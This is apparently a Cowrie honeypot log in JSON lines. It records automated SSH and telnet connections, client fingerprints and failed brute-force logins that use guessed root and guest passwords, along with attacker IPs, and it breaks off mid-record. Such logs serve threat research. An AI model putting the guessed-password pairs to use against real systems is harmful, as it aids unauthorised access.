{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:17.001726Z","src_ip":"103.78.1.33","session":"106ef5e53f9b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:17.229498Z","src_ip":"80.94.92.55","session":"1c4af3b523fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:17.232742Z","src_ip":"80.94.92.55","session":"1c4af3b523fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"beijing@123","message":"login attempt [root/beijing@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:18.045040Z","src_ip":"103.78.1.33","session":"106ef5e53f9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:19.266688Z","src_ip":"103.78.1.33","session":"106ef5e53f9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:21.853291Z","src_ip":"80.94.92.55","session":"1c4af3b523fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:23.624107Z","src_ip":"80.94.92.55","session":"1c4af3b523fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.177.101.45","src_port":51108,"dst_ip":"10.17.0.5","dst_port":22,"session":"16dc5fa92c12","protocol":"ssh","message":"New connection: 81.177.101.45:51108 (10.17.0.5:22) [session: 16dc5fa92c12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:25.445363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:25.449169Z","src_ip":"81.177.101.45","session":"16dc5fa92c12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:25.573415Z","src_ip":"81.177.101.45","session":"16dc5fa92c12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Testing2025","message":"login attempt [root/Testing2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:26.099971Z","src_ip":"81.177.101.45","session":"16dc5fa92c12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:27.227604Z","src_ip":"81.177.101.45","session":"16dc5fa92c12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":44922,"dst_ip":"159.203.135.109","dst_port":22,"session":"d119df44e553","protocol":"ssh","message":"New connection: 194.113.233.25:44922 (159.203.135.109:22) [session: d119df44e553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:28.017446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:28.021166Z","src_ip":"194.113.233.25","session":"d119df44e553","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:28.114073Z","src_ip":"194.113.233.25","session":"d119df44e553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"25041997","message":"login attempt [root/25041997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:28.395538Z","src_ip":"194.113.233.25","session":"d119df44e553","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:29.490965Z","src_ip":"194.113.233.25","session":"d119df44e553","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":45314,"dst_ip":"10.17.0.5","dst_port":22,"session":"f17c7e3bb02a","protocol":"ssh","message":"New connection: 91.92.40.176:45314 (10.17.0.5:22) [session: f17c7e3bb02a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:38.622415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:38.626039Z","src_ip":"91.92.40.176","session":"f17c7e3bb02a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:38.707612Z","src_ip":"91.92.40.176","session":"f17c7e3bb02a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":39568,"dst_ip":"159.203.135.109","dst_port":23,"session":"a289910e5ebe","protocol":"telnet","message":"New connection: 137.184.5.188:39568 (159.203.135.109:23) [session: a289910e5ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:38.724909Z"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123","message":"login attempt [guest/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:38.958366Z","src_ip":"91.92.40.176","session":"f17c7e3bb02a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:40.040747Z","src_ip":"91.92.40.176","session":"f17c7e3bb02a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.195","src_port":54622,"dst_ip":"159.203.135.109","dst_port":22,"session":"a87a92187048","protocol":"ssh","message":"New connection: 118.26.36.195:54622 (159.203.135.109:22) [session: a87a92187048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:41.174701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:41.178811Z","src_ip":"118.26.36.195","session":"a87a92187048","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:41.393490Z","src_ip":"118.26.36.195","session":"a87a92187048","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wu123456","message":"login attempt [root/Wu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:42.287893Z","src_ip":"118.26.36.195","session":"a87a92187048","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:43.505722Z","src_ip":"118.26.36.195","session":"a87a92187048","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":59868,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ab0fb44af27","protocol":"ssh","message":"New connection: 87.251.79.125:59868 (159.203.135.109:22) [session: 5ab0fb44af27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:57.477175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:57.480966Z","src_ip":"87.251.79.125","session":"5ab0fb44af27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":44662,"dst_ip":"10.17.0.5","dst_port":22,"session":"60f882ccafdd","protocol":"ssh","message":"New connection: 103.77.242.62:44662 (10.17.0.5:22) [session: 60f882ccafdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:57.537434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:57.541461Z","src_ip":"103.77.242.62","session":"60f882ccafdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:57.551163Z","src_ip":"87.251.79.125","session":"5ab0fb44af27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22052005","message":"login attempt [root/22052005] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:57.766999Z","src_ip":"87.251.79.125","session":"5ab0fb44af27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:57.775741Z","src_ip":"103.77.242.62","session":"60f882ccafdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"25101981","message":"login attempt [root/25101981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:58.479517Z","src_ip":"103.77.242.62","session":"60f882ccafdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:58.838979Z","src_ip":"87.251.79.125","session":"5ab0fb44af27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:59.715692Z","src_ip":"103.77.242.62","session":"60f882ccafdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.46950912475586,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:04.194291Z","src_ip":"137.184.5.188","session":"a289910e5ebe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"211.251.245.88","src_port":35830,"dst_ip":"10.17.0.5","dst_port":22,"session":"004bc6a56b82","protocol":"ssh","message":"New connection: 211.251.245.88:35830 (10.17.0.5:22) [session: 004bc6a56b82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:06.052063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:51:06.056639Z","src_ip":"211.251.245.88","session":"004bc6a56b82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 